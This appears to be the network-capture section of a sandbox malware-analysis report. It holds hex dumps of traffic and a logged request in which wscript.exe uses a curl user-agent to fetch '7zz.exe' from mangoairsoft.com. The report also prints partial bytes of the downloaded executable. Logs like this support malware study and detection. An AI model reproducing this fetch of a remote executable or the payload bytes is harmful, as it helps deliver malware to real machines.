39 92 ee 3b e9 7d 78 e5 e2 c2 40 bd fe ff df c4 76 bc 13 66 09 a4 fd 35 d2 9b 2e b8 4b cf 9f 2c cd 3c fa 53 90 b5 29 23 77 18 45 Data Ascii: @n}KH;SpT>Tt`Dfy0(.?.S[L:'15t3ydxGwPT9`U9oI{j7iV78$D=V2tI:Y,}o.d}jP'x<i$K!b\|Kd{9;}x@vf5.K,<S)#wE
2023-08-02 08:13:02 UTC	2050	IN	Data Raw: e9 06 e7 98 76 da f4 7d 8b 44 9b 1c 37 10 08 24 c6 63 29 58 f7 c5 91 ed ee 71 cd b6 85 fb a8 3b 9c fd c5 37 c4 52 dd 18 4e 71 87 a2 6a 0e 55 39 2f dc e2 e0 33 35 0c 62 c5 f9 40 c5 c9 3c 9d dc 91 d3 af b5 6c ca 71 db b7 a8 c4 13 17 b8 ef e3 86 de 8f 0f 59 1e 36 d2 e9 8f 62 ac f2 74 e3 65 27 02 f7 f0 54 ce cd 11 b5 95 e2 28 e8 e5 cb f4 5e 42 77 af bc bb a7 fc 41 6d 84 bc 10 9d b3 9b 53 51 3f c8 d3 94 3f 57 fa 58 8c 45 82 88 08 74 1f 81 82 c3 a2 f0 d7 4c 71 40 7b 7f fa 41 61 fc ac 01 75 94 4b 25 91 d7 ee 8f c1 0b e0 c5 d7 c3 da c2 9e c9 8a fd 93 7c 22 ea 28 11 b1 9a 80 88 18 f1 44 a2 f2 ad 71 10 10 04 00 05 00 33 53 36 33 00 00 5f 64 e8 d9 67 69 05 9d 3c b0 b7 89 2d ea b8 22 69 10 16 10 4a 02 5b 78 00 5d 20 e0 2c 77 e9 97 0e 25 60 cb b8 f2 cc e0 ef ce fa f7 Data Ascii: v}D7$c)Xq;7RNqjU9/35b@<lqY6bte'T(^BwAmSQ??WXEtLq@{AauK%\|"(Dq3S63_dgi<-"iJ[x] ,w%`
2023-08-02 08:13:02 UTC	2066	IN	Data Raw: be a2 53 61 80 91 02 65 61 06 78 29 c1 b2 e6 de 84 f8 6f 75 c9 b4 35 28 83 6a a5 72 49 a7 c5 b8 bb 29 24 76 d4 31 74 fc b3 ae 55 aa 87 da 42 f5 c3 03 ed 6e 89 ba e2 26 ce bb b1 b1 4c 2b 68 35 ac df 85 05 21 7f 2a ce 6a e6 c8 63 f8 5a c1 15 ce 0a a6 6c 46 6d 00 27 81 78 0a c1 70 29 63 61 b0 4a 19 18 6c 76 46 2b fe 2f 5d 85 68 b8 84 ed 12 07 77 27 ab 15 9e 12 ae 21 c6 a2 c2 95 60 bb 06 49 b2 3f da 42 50 dc b5 56 f7 18 27 1f 55 c6 bd 09 21 74 b1 a1 4b 40 c2 2d 80 92 11 75 12 28 df f4 5a 5b 8a 97 91 57 69 ce a1 9c ee 8f 93 10 6b e3 56 47 31 97 a4 ac ac cd 03 fa cd 06 21 b5 b0 12 24 e0 2f 9e 00 15 e5 d0 14 66 30 28 c7 e0 8d 25 52 c4 32 2b ed d7 80 f2 27 12 27 29 fd ff 6c 90 24 39 22 2c 56 8f 2b 75 e6 c0 2e ce 4a 36 0b 0b c1 45 a6 75 62 59 ed 19 4a ea 94 0b 10 Data Ascii: Saeax)ou5(jrI)$v1tUBn&L+h5!*jcZlFm'xp)caJlvF+/]hw'!`I?BPV'U!tK@-u(Z[WikVG1!$/f0(%R2+'')l$9",V+u.J6EubYJ
2023-08-02 08:13:02 UTC	2082	IN	Data Raw: f2 09 64 a1 40 05 18 1d 1c 03 b6 b0 4d c0 e3 b7 6d 0f ef 2f 93 55 00 42 92 a8 85 83 24 01 60 14 b8 56 82 61 00 44 80 92 02 61 7e 14 75 3a 04 c5 09 98 25 88 45 50 bf 17 0f 40 70 56 78 08 c7 20 25 10 40 29 00 b0 8c 91 2b 28 9c 6a 28 92 0d c9 4c 35 28 c9 8b b0 50 24 a8 57 a0 a0 29 72 71 c8 a2 e5 a2 1f 0a 42 71 52 55 83 41 52 0c 05 28 62 44 c2 35 45 13 52 e9 72 41 48 3b 3c 19 4e 27 45 48 4a 2a 75 8d 28 0c ec 3c be c0 ac e3 2c 78 eb 20 02 6d d6 d3 a5 0f f4 25 d1 74 15 09 52 2b a4 05 86 e0 2e 9a 12 ac d7 7a db ac 89 df 05 c9 42 09 04 c2 12 b0 87 a2 f4 1d c3 02 18 20 21 0a 54 a8 28 80 bd 50 89 f5 38 0c c8 30 42 1a c6 55 c0 06 8c 15 c4 05 31 ec 83 19 f1 8e 03 7d 04 d6 0b 29 a4 49 69 45 21 50 1a a7 b7 2c 7a 52 10 36 19 16 98 e4 b4 df 74 5e 87 11 67 00 6b f3 85 5e Data Ascii: d@Mm/UB$`VaDa~u:%EP@pVx %@)+(j(L5(P$W)rqBqRUAR(bD5ERrAH;<N'EHJ*u(<,x m%tR+.zB !T(P80BU1})IiE!P,zR6t^gk^
2023-08-02 08:13:02 UTC	2098	IN	Data Raw: 2a e1 87 f2 d0 ca af 92 2a 29 2a f4 09 81 e6 53 4f df c0 f0 00 00 8c 0c 59 cd 19 40 bd 9b 9e ef 9b 73 db 9c 6d 5d cb da 09 09 e8 af 34 12 8e f5 06 7f 34 81 93 48 4d 42 9a a6 3c 4e a3 30 1e 69 fe 98 df ff 03 f9 09 f4 04 23 78 8a 09 b5 2c 81 12 12 2c 07 97 03 96 b6 14 2c cc c5 2d 24 d3 28 21 c1 19 48 00 25 b6 bd 88 fe e2 f6 7e 8a 82 82 6f 5b da ac 29 96 03 63 40 6f 45 50 01 a4 08 20 c2 31 31 21 90 62 45 38 11 90 13 66 28 c5 7b 91 d8 3b 90 83 51 a0 84 d1 82 90 0a 8b 0a 90 4c 02 09 49 16 53 9b 57 98 b5 9f e6 b5 59 51 18 02 e9 03 24 a5 6d 12 93 51 0a 30 48 60 a9 12 92 5b 04 64 69 fa 41 93 67 51 06 c8 49 43 24 81 c4 12 28 01 a0 d5 27 2d 33 7a cb 22 a3 f9 7f a3 28 0a 88 7a 6f 1e 95 3a b5 c9 96 26 40 a6 96 14 b7 81 5a 52 80 03 40 36 8e ed 25 21 07 58 29 0a 61 a7 Data Ascii: *)SOY@sm]44HMB<N0i#x,,,-$(!H%~o[)c@oEP 11!bE8f({;QLISWYQ$mQ0H`[diAgQIC$('-3z"(zo:&@ZR@6%!X)a
2023-08-02 08:13:02 UTC	2114	IN	Data Raw: eb 44 ac 41 e2 ee c9 0b c8 4c 0e fe 51 11 2f 67 73 16 41 11 78 bb 39 1c e6 4a fc 12 55 3d e5 2d 3b c6 68 cd a9 bc f0 8a 66 df 4b fe 74 51 00 af de e9 11 49 e0 5b 6d b6 6a fc cd 02 c4 c9 53 0a ca 3d df 42 cd 1b 02 44 88 8d 17 c5 c8 25 5b 1d 40 bc 40 f2 39 f6 e4 41 a4 c6 3e e4 bf 88 b9 5c 1b f6 10 e0 17 5f d2 fe 8a f0 b5 51 9e d6 61 b0 46 50 4c 54 64 45 5a d9 a6 3c c7 ed f9 08 08 02 bf b9 f6 d7 49 47 53 96 97 08 ec 33 3b 48 ca 7b 63 e7 64 b0 e2 8d 41 c8 f8 e4 a2 4e 2b 45 c2 eb 54 23 71 57 8e ec b6 f6 b9 12 b1 4f 43 1a 9a 05 68 6b 35 4e e0 32 57 6b 66 5b e4 b6 ef ee 2b 71 66 d2 6f 53 ba 44 f0 b5 04 37 a7 3c 01 36 c4 be 95 0c be 29 c9 33 22 9b de d2 27 68 c6 4b 9d 2d 04 2c f0 06 79 89 c4 0b 93 7c 66 b4 f0 37 2e f9 fc 92 39 dc f6 bc ad 67 b5 ef 0f 82 89 ec 27 Data Ascii: DALQ/gsAx9JU=-;hfKtQI[mjS=BD%[@@9A>\_QaFPLTdEZ<IGS3;H{cdAN+ET#qWOChk5N2Wkf[+qfoSD7<6)3"'hK-,y\|f7.9g'
2023-08-02 08:13:02 UTC	2130	IN	Data Raw: 84 05 29 13 be 99 1b 14 d7 69 be 54 dc 18 1e eb d6 c9 0b 09 e4 b2 a7 f2 c1 1a ba 27 b9 98 05 c4 1c 54 a9 06 77 c0 12 38 83 74 af 10 a3 37 29 d2 4c e4 16 e8 d4 87 6a 8b 71 c0 15 28 db 8f 7f 95 cd 58 c0 92 d1 f9 cc 81 b0 8d c2 d6 f9 62 3e 76 ce 07 ee 3b a6 4c 0a 81 c5 1a a3 f3 eb 1e 6f c3 9e d6 4a d2 04 ec 22 cd 6b 38 d5 8b e8 5f bf 52 26 1e 8e f9 8a bc 62 bb b3 a9 5c dd 66 ac d1 fb b0 7d 61 90 16 aa 04 4f 33 ad 0c 5a 51 db 3b 83 ef 93 fa 3d 2b fc ed f6 00 02 79 c8 dc 05 e9 42 4e 53 68 5c c5 3d d8 49 ad 39 46 8a 57 ad 6e f6 db b3 8a fc 7b e4 4c 04 c2 07 d6 4b 86 73 ac 58 5a 02 7e bd 9e b4 20 3c ef d1 22 6b fa 80 7e 95 38 39 69 8f d0 8c 95 ac b5 fe 89 8e cc 63 ff 53 cf 6a eb 51 ce db 17 a4 4e 1a cc 2f 08 7b 08 7c 6a 30 a2 e7 f0 5b 99 7d 07 de 5e 55 76 60 de Data Ascii: )iT'Tw8t7)Ljq(Xb>v;LoJ"k8_R&b\f}aO3ZQ;=+yBNSh\=I9FWn{LKsXZ~ <"k~89icSjQN/{\|j0[}^Uv`
2023-08-02 08:13:02 UTC	2146	IN	Data Raw: 45 08 12 62 eb 8e bf af 0e 6b 1e 55 b8 cd 93 14 70 bf 39 3e 86 4e 39 43 13 0b de 13 60 27 22 32 f2 51 74 e9 e1 e3 29 87 a7 29 03 00 64 39 3a 31 93 49 a5 ba 39 99 83 e5 18 2f c7 de e1 bd 1b f2 86 b8 6a ae ec 39 f7 04 79 61 e4 cf 3c d9 39 ee 29 81 cc ac 8f ca 1b de 91 3d f5 13 5f 04 f6 c6 21 54 f5 6d d7 63 c1 2a 47 ee d0 6a 2b 1a ed 08 a9 dc 0a 71 36 9c 57 57 7b ec 91 1a 04 e6 bd f8 fd 05 32 48 dd 20 4b 7e ae d7 fa 6c 45 f5 6b 0a 99 3a a4 57 55 42 5c c6 f5 0c 3e 11 27 d5 3b 6e 8c 94 f5 f2 f8 b5 fa 79 fb e9 26 ec 55 3a 17 93 a6 9c c9 31 82 23 4f 12 7b 31 e9 92 ac 4b 72 90 c8 ea 77 bf d1 94 9a 44 79 62 ea cd 60 90 cc 85 89 99 34 5f 7d 28 4d e0 fe e1 0a 9d a8 84 d6 56 3b d7 28 e9 44 d3 52 64 b5 67 7e 9d 56 98 b9 b0 cd 07 81 a8 3b bc 6a d1 b0 10 26 bd 43 56 04 Data Ascii: EbkUp9>N9C`'"2Qt))d9:1I9/j9ya<9)=_!Tmc*Gj+q6WW{2H K~lEk:WUB\>';ny&U:1#O{1KrwDyb`4_}(MV;(DRdg~V;j&CV
2023-08-02 08:13:02 UTC	2162	IN	Data Raw: 7c 29 7e dc ed 17 ed de e7 03 19 45 71 f5 b9 de 00 a7 6f 4a 3d d0 09 65 36 a4 64 59 bd d9 59 29 29 29 ea e6 ef 8b e5 ca 49 49 49 dd 19 f6 6c 33 5b 10 c4 69 87 24 25 1a 8d c8 32 4b e5 35 0a 95 1c f7 16 09 93 25 69 43 2b 41 36 84 63 d9 1c f7 d4 21 ea 81 e0 c2 39 85 55 6f 63 f1 e3 bf 50 20 4a 7d e9 9a 2d a4 9b be 57 dd 56 66 b7 ba 07 2d 3d 01 99 08 70 c7 e4 01 6a 39 b6 c2 e1 d2 23 50 df 31 95 3b 43 41 41 72 55 20 03 5b f8 e1 79 5b 40 8d 8a 98 6c 0a 29 a2 2b ba 47 0b 4e 92 b6 26 e3 6c cb 6a bf c8 92 a5 1f 42 b3 54 30 8a a1 7d 88 07 98 08 86 a5 ef 44 b3 09 71 06 52 8a 05 b5 b8 f6 62 f1 74 42 f4 fc ce bf 94 2e 10 3e 05 44 14 fc d2 86 8c 0d 8d 49 20 e4 12 c8 b1 ad 48 e0 89 e2 82 84 75 27 dd 8e 4d 28 9c e4 d9 bd 05 b7 b3 43 56 9f a6 7c ac a6 f4 6c df 02 08 b9 2d Data Ascii: \|)~EqoJ=e6dYY)))IIIl3[i$%2K5%iC+A6c!9UocP J}-WVf-=pj9#P1;CAArU [y[@l)+GN&ljBT0}DqRbtB.>DI Hu'M(CV\|l-
2023-08-02 08:13:02 UTC	2178	IN	Data Raw: ff 7b 25 45 72 1b a5 70 cc 12 5c 70 67 60 1a 1e a2 04 cf 1e 93 cf cc 9d 44 ad 4d 6a bf 47 5c ff 20 b1 c6 63 3e 47 8c d5 2a af 9f b2 4d 1f 67 97 27 f8 51 3f db 7d 7b 72 33 e8 83 62 97 ce 0c 07 65 6e c5 ba a4 e1 8c 9f a1 8c 2d 53 01 e4 12 15 5c 19 af 17 d6 2f 4e 4f 8c 82 72 e2 4e 7c 1e b9 84 f7 09 07 4e 60 a3 98 4a 73 77 24 53 9d fc ba f5 90 1e 9c 39 e7 0c 05 b2 fa 67 96 d1 14 79 1d cf d0 94 d4 bd ee b3 fc 07 ad fc 4d 8d 9d 38 34 bc 43 ad 74 31 4e 76 08 5e 94 8a e1 de 0a 47 74 51 4a f3 7e 4a f4 77 40 93 06 9e c2 37 c7 f0 2c ec a2 a3 ca b4 ac c7 64 95 70 62 4f 9c 58 3c 47 5c 27 73 ed b2 7f 39 79 1b 47 e8 b0 2b bf 80 34 db 11 a4 18 0d c6 ac a7 7a 04 cc eb c0 78 01 91 5b bc 68 54 82 cc 7e 56 d7 f3 53 e5 1d a6 4d 87 2e 62 29 4a 12 c8 ca aa 7a 9b 13 dd 19 5b 85 Data Ascii: {%Erp\pg`DMjG\ c>G*Mg'Q?}{r3ben-S\/NOrN\|N`Jsw$S9gyM84Ct1Nv^GtQJ~Jw@7,dpbOX<G\'s9yG+4zx[hT~VSM.b)Jz[
2023-08-02 08:13:02 UTC	2194	IN	Data Raw: c6 ce f7 a9 f2 5c b5 5d 5c ae 47 e8 0c 68 0e cc ea c9 38 fa b5 52 54 50 c6 90 c6 7a 2d 6f a1 d5 55 99 88 88 16 8d e3 b1 ae dc c1 15 ed bf ad 12 1d 94 3e c3 a9 7f a2 25 bf d7 86 99 d8 a0 bb 99 20 38 b5 b0 d4 7c f8 59 65 88 20 08 8e 7a 54 de 0f 0f db cb 12 9d 3a ee e3 f0 5f 9d bf 66 db e6 fd ad 29 ed 5b 4d db 65 c9 46 5d 03 d2 30 2f 5e 46 25 0f c6 ff c1 79 53 22 25 20 b5 b9 50 fe bb 4e 1f cd 4d 2a 5b 68 39 d6 42 70 68 a0 1f 35 78 d1 87 6b d9 ab 6b 8f 19 c5 fe 1c aa c4 1d c6 0d ae 51 d2 60 f7 ac 48 f6 cd a9 56 16 37 37 f7 36 f5 8d b6 3e f7 61 19 a8 0f 37 01 8d 51 92 82 b4 c9 51 fd f7 21 8c eb d7 aa aa 4a bb f1 ba 51 64 4f 68 40 01 ee c6 c3 e8 ba d5 2b 07 56 4f 84 3a b5 38 cc 82 b6 48 82 00 82 8c 38 d9 b9 b1 36 ac 82 ed 66 45 f0 1f db 90 cb d6 db 00 8f c8 b3 Data Ascii: \]\Gh8RTPz-oU>% 8\|Ye zT:_f)[MeF]0/^F%yS"% PNM*[h9Bph5xkkQ`HV776>a7QQ!JQdOh@+VO:8H86fE
2023-08-02 08:13:02 UTC	2210	IN	Data Raw: 01 79 e4 71 bc 69 b4 8f 13 66 2e 37 6b f9 b7 bf 9b 02 0d 7f 5c fc 34 5e bc 88 68 7b 31 70 66 77 7a 33 7c a7 b1 93 a4 e4 1b bb ae 71 ce 8b f3 5a 66 99 2c 7a 28 7d 04 4c 96 c4 e4 72 17 5d 2d a7 72 e8 7b 61 d8 0b d8 c9 42 f7 69 26 46 a6 13 e4 34 41 e1 32 07 c0 33 00 e4 81 c9 c3 10 8e 81 2f 15 7c 6c 42 c7 26 1c 12 70 08 c7 23 04 87 10 1c 61 f2 13 38 cb 83 f7 85 8b da ca 7d ba 5b 83 2c 31 a3 76 7e d2 2f cb 59 74 92 dc 5f f1 b7 3b 71 3b 4d 8d d3 5e c3 08 1b f2 e0 18 dc 04 ca 4f f0 89 0b 69 fa d4 fe 52 5f 46 bf fd 95 1c ad 90 9d 55 a5 3b 75 ec 40 49 50 9a 76 5d 62 0c 18 03 b6 e4 32 60 3b 70 19 03 e1 92 84 5c ce a3 6b e5 02 8e c0 30 38 82 41 1c 17 4e 2d a2 70 84 ae 3a 99 7c 80 b1 a3 24 e5 b8 ba d7 93 c2 94 6e 30 18 5c 83 dc 87 ca 19 95 f2 70 e5 c1 70 86 60 38 87 Data Ascii: yqif.7k\4^h{1pfwz3\|qZf,z(}Lr]-r{aBi&F4A23/\|lB&p#a8}[,1v~/Yt_;q;M^OiR_FU;u@IPv]b2`;p\k08AN-p:\|$n0\pp`8
2023-08-02 08:13:02 UTC	2226	IN	Data Raw: 60 20 5c 3c 64 2a ab 3e 71 69 91 b5 e9 09 d4 ea fa 90 e0 e7 43 45 de ec 3f 6d 0f 5d 3f 29 7a cf 57 1d a6 95 99 1c 66 0a 57 f3 6c a7 f7 d9 7e 20 c7 e7 39 68 b2 07 78 9b ef df 67 91 91 cc bb 5e 12 ff f3 64 19 2d ce b5 1d 26 fb 9b f2 5c 1f 5a 68 af 8f e5 7a 47 4e 0b b3 56 e6 57 d6 3c 9d 92 9b e6 84 3e 14 e7 3b ee e3 fd 2b 99 ee cd 57 af 56 6a 22 55 4a 28 da 55 02 f3 0c a9 75 3c b2 46 8d bf 45 86 25 f2 37 19 60 06 32 b7 80 cc 04 aa 35 20 38 04 b5 bc cc f3 22 36 e0 7f 7f ee 33 92 0d 0f ca 11 e3 a1 a6 fd 5c 3e 3f 70 1f 5f 1d cd a4 f2 41 48 07 4a 4f c2 05 0b 51 6e 16 64 4c 12 54 ec 7c 3d b3 09 e8 18 4b 55 a3 89 25 82 d7 eb 0b a9 41 cd 7d 65 39 8d 95 49 29 59 bd 2f 08 33 b0 c1 ba 35 59 a7 5c bd 9e f7 b4 26 8e 02 35 b2 17 d6 ca ce 56 5c ca a1 1a a5 98 90 d2 ef e3 Data Ascii: ` \<d*>qiCE?m]?)zWfWl~ 9hxg^d-&\ZhzGNVW<>;+WVj"UJ(Uu<FE%7`25 8"63\>?p_AHJOQndLT\|=KU%A}e9I)Y/35Y\&5V\
2023-08-02 08:13:02 UTC	2242	IN	Data Raw: da e3 50 bb df 8f 07 22 f2 0f 21 ed 0d bd 46 f2 7b 16 02 ee df ad 09 94 a3 93 b1 9b 6b d9 e3 2c a7 9b de 8a ba 2f 22 6f 2a 99 7d ef 2c 4f 46 d3 ac 0c 6e 3c bc be b1 ad 44 95 56 4b f6 4b 0c 31 3c 00 26 a1 f2 7b dd f0 2c 52 5d ba 92 02 7e d6 fb 94 2b 54 b7 cd 0a 4c d0 96 24 40 a9 7f 81 0f a2 4b 7b b0 ec 93 f2 b3 a7 83 e4 d1 d7 43 72 66 42 1d 2b a5 df a0 ff df c0 10 2b 02 64 d0 a3 bb ca fa 4f 7e 6b eb 3e 2d 06 e2 b3 73 fc fa 57 cd 20 cd 48 7a 42 72 ad fd 3b bd 1f d6 90 21 4a 0a ec 32 13 eb eb 0d 0d cb 66 b5 79 29 0c ce 95 b4 29 a1 00 c6 ed 8f 7c 7e 20 e4 9b 5a 0c cd 6b c4 cb 57 8c 6f 76 9a 4a 80 37 4c 3c 95 54 b4 f7 d5 00 d4 07 3c 90 72 34 b5 8d bc 30 7a fb 25 29 db 46 e2 69 fa c3 a6 a9 62 39 06 2a d8 b7 96 3b 92 e0 c4 fb 85 b7 b7 a4 4d 33 1d e6 2f 89 bf de Data Ascii: P"!F{k,/"o},OFn<DVKK1<&{,R]~+TL$@K{CrfB++dO~k>-sW HzBr;!J2fy))\|~ ZkWovJ7L<T<r40z%)Fib9;M3/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49700	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:13:04 UTC	2255	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/7.55.1 Accept: /
2023-08-02 08:13:04 UTC	2255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:13:04 GMT Content-Type: application/x-msdos-program Content-Length: 587776 Connection: close Last-Modified: Tue, 25 Jul 2023 11:24:55 GMT ETag: "8f800-6014dfb053871" Accept-Ranges: bytes
2023-08-02 08:13:04 UTC	2256	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7d 11 72 52 39 70 1c 01 39 70 1c 01 39 70 1c 01 42 6c 10 01 3b 70 1c 01 ba 6c 12 01 20 70 1c 01 0f 56 16 01 5b 70 1c 01 b7 78 43 01 38 70 1c 01 39 70 1d 01 96 70 1c 01 ba 78 41 01 3e 70 1c 01 0f 56 17 01 84 70 1c 01 56 06 b6 01 19 70 1c 01 56 06 82 01 3b 70 1c 01 fe 76 1a 01 38 70 1c 01 52 69 63 68 39 70 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}rR9p9p9pBl;pl pV[pxC8p9ppxA>pVpVpV;pv8pRich9pPEL
2023-08-02 08:13:04 UTC	2271	IN	Data Raw: 3b 00 00 f6 44 24 08 01 74 07 56 e8 16 2f 00 00 59 8b c6 5e c2 04 00 b8 9c 30 47 00 e8 7d 6d 06 00 83 ec 10 53 56 57 8b f9 33 f6 8b da 6a 03 8d 4d e4 89 75 f0 89 75 e4 89 75 e8 89 75 ec e8 65 d3 ff ff 8d 55 e4 8b cb 89 75 fc e8 a5 4b 00 00 8d 45 e4 8b cf 50 e8 73 ee ff ff ff 75 e4 e8 c3 2e 00 00 59 8b c7 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 53 56 8b f1 33 db 6a 03 8d 4e 10 88 1e 88 5e 01 88 5e 02 88 5e 03 88 5e 04 89 5e 08 89 5e 0c 89 19 89 59 04 89 59 08 e8 07 d3 ff ff 89 5e 20 89 5e 24 89 5e 28 c7 46 2c 04 00 00 00 c7 46 1c 78 a6 47 00 8b c6 5e 5b c3 b8 be 30 47 00 e8 d7 6c 06 00 51 56 8b f1 57 33 ff 8d 4e 04 89 3e 6a 03 89 75 f0 89 39 89 79 04 89 79 08 e8 c3 d2 ff ff 8d 4e 10 6a 03 89 7d fc 89 39 89 79 04 89 79 08 e8 ae d2 ff ff 8d 4e 1c 6a 03 Data Ascii: ;D$tV/Y^0G}mSVW3jMuuuueUuKEPsu.YM_^[dSV3jN^^^^^^YY^ ^$^(F,FxG^[0GlQVW3N>ju9yyNj}9yyNj
2023-08-02 08:13:04 UTC	2287	IN	Data Raw: d8 c1 e3 02 8b 45 08 8b 40 0c 8b 14 18 8b 46 0c 8b 0c b8 e8 94 fe ff ff 84 c0 74 09 47 83 c3 04 3b 7e 08 7c df 8b 56 08 3b fa 74 15 8b 45 0c 40 3b 45 fc 89 45 0c 7e c1 32 c0 5f 5e 5b c9 c2 08 00 b0 01 eb f5 56 57 8b f1 33 ff 39 7e 18 7e 1c 8b 46 1c 8b 54 24 0c 8b 04 b8 8d 48 04 e8 c8 fc ff ff 85 c0 74 0e 47 3b 7e 18 7c e4 83 c8 ff 5f 5e c2 04 00 8b c7 eb f7 80 7c 24 04 00 ff 74 24 08 74 05 83 c1 24 eb 03 83 c1 38 e8 48 08 00 00 c2 08 00 b8 5c 38 47 00 e8 01 2d 06 00 83 ec 4c 53 56 57 8b 7d 0c 8b f1 8b 47 08 83 f8 01 7e 5f 8b 47 0c 8b 18 8b cb 89 5d 0c e8 8a fe ff ff 84 c0 75 4c 53 8b ce e8 7a ff ff ff 8b d8 85 db 7d 27 56 8d 4d a8 ff 75 0c e8 4e 00 00 00 83 65 fc 00 50 8d 4e 10 e8 6e 07 00 00 83 4d fc ff 8d 4d a8 8b d8 e8 90 cc ff ff 8b 07 6a 01 6a 00 8b Data Ascii: E@FtG;~\|V;tE@;EE~2_^[VW39~~FT$HtG;~\|_^\|$t$t$8H\8G-LSVW}G~_G]uLSz}'VMuNePNnMMjj
2023-08-02 08:13:04 UTC	2303	IN	Data Raw: 57 e8 14 30 00 00 85 c0 89 46 08 74 08 33 c0 eb 0d 83 66 08 00 01 7e 10 8b c7 83 56 14 00 5f 5e c2 04 00 83 e9 00 74 2c 49 74 25 49 74 1c 83 e9 03 74 11 83 e9 05 74 06 b8 05 40 00 80 c3 b8 04 40 00 80 c3 b8 57 00 07 80 c3 b8 0e 00 07 80 c3 6a 01 58 c3 33 c0 c3 8b c1 8b 4c 24 04 83 60 0c 00 89 48 08 c7 00 66 cb 40 00 c7 40 04 ac cb 40 00 c2 04 00 55 8b ec 53 56 57 8b 7d 08 8b f1 b8 00 00 00 80 8b 0f 3b c8 89 4d 08 72 03 89 45 08 8b 46 08 8d 5d 08 53 ff 75 08 8b 08 52 50 ff 51 0c 89 46 0c 8b 45 08 89 07 8b 46 0c f7 d8 1b c0 5f 5e 83 e0 08 5b 5d c2 04 00 55 8b ec 51 51 8b 45 08 56 57 8b f9 33 c9 8b f2 2b c1 74 12 48 74 0c 48 74 05 6a 05 58 eb 34 6a 02 eb 02 6a 01 59 53 8b 47 08 8d 5d f8 8b 10 53 51 ff 76 04 ff 36 50 ff 52 10 89 47 0c 8b 45 f8 89 06 8b 45 fc Data Ascii: W0Ft3f~V_^t,It%Ittt@@WjX3L$`Hf@@@USVW};MrEF]SuRPQFEF_^[]UQQEVW3+tHtHtjX4jjYSG]SQv6PRGEE
2023-08-02 08:13:04 UTC	2319	IN	Data Raw: ff 75 fc 8b cf 56 ff 75 08 e8 8d 84 ff ff 5f 5e c9 c2 08 00 b8 ac 41 47 00 e8 80 ad 05 00 83 ec 1c 53 56 57 8b 7d 08 8b d9 6a 01 8b 47 08 89 55 f0 3b c3 5e 75 34 80 7d 10 00 75 2e ff 35 18 ba 48 00 8d 4d e4 e8 f6 29 ff ff ff 75 0c 8b 4d f0 83 65 fc 00 8d 55 e4 56 e8 7a ff ff ff 83 4d fc ff ff 75 e4 e8 bd 6e ff ff 59 3b 5f 08 7d 6a 8b 47 0c 8b 0c 98 83 79 04 00 74 48 8b 01 66 83 38 40 75 2f 8d 45 d8 56 50 e8 4a 67 ff ff ff 75 14 8b 00 8b 4d f0 8b d0 ff 75 0c 89 75 fc 56 e8 47 00 00 00 83 4d fc ff ff 75 d8 e8 77 6e ff ff 59 eb 0e ff 75 0c 8b d1 8b 4d f0 56 e8 17 ff ff ff 43 eb a7 a1 38 ba 48 00 68 58 d3 47 00 89 45 10 8d 45 10 50 e8 29 ad 05 00 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 b8 c8 41 47 00 e8 aa ac 05 00 83 ec 18 53 56 57 33 f6 bf 20 a4 Data Ascii: uVu_^AGSVW}jGU;^u4}u.5HM)uMeUVzMunY;_}jGytHf8@u/EVPJguMuuVGMuwnYuMVC8HhXGEEP)M_^[dAGSVW3
2023-08-02 08:13:04 UTC	2335	IN	Data Raw: 00 60 00 8b c3 8b de 8b f2 55 99 6a 03 03 d8 55 57 13 f2 e8 66 68 05 00 6a 01 59 e8 ce 67 05 00 03 d8 13 f2 5f 8b d6 5e 8b c3 5d 5b 59 c3 53 8a 5c 24 08 56 8b f1 f6 c3 02 74 24 57 8d 7e fc 68 b4 29 44 00 ff 37 6a 18 56 e8 27 73 05 00 f6 c3 01 74 07 57 e8 cd 2e ff ff 59 8b c7 5f eb 15 8b ce e8 5c de 02 00 f6 c3 01 74 07 56 e8 b5 2e ff ff 59 8b c6 5e 5b c2 04 00 b8 80 47 47 00 e8 1b 6d 05 00 83 ec 1c 53 33 db 56 57 89 5d e0 c7 45 d8 cc aa 47 00 68 00 05 00 00 8d 4d d8 89 5d fc e8 88 f0 ff ff 84 c0 0f 84 80 00 00 00 8b 75 e0 33 c0 ba 00 01 00 00 88 04 30 40 3b c2 72 f8 8b ce e8 8b 00 00 00 3d 73 8c 05 29 75 60 8d 45 e4 ba 00 04 00 00 50 8d 8e 00 01 00 00 c7 45 e4 e5 55 9a 15 c7 45 e8 b5 3b 12 1f e8 93 00 00 00 89 5d ec 8b 45 ec 83 65 f0 00 8d 3c 30 8b 55 f0 Data Ascii: `UjUWfhjYg_^][YS\$Vt$W~h)D7jV'stW.Y_\tV.Y^[GGmS3VW]EGhM]u30@;r=s)u`EPEUE;]Ee<0U
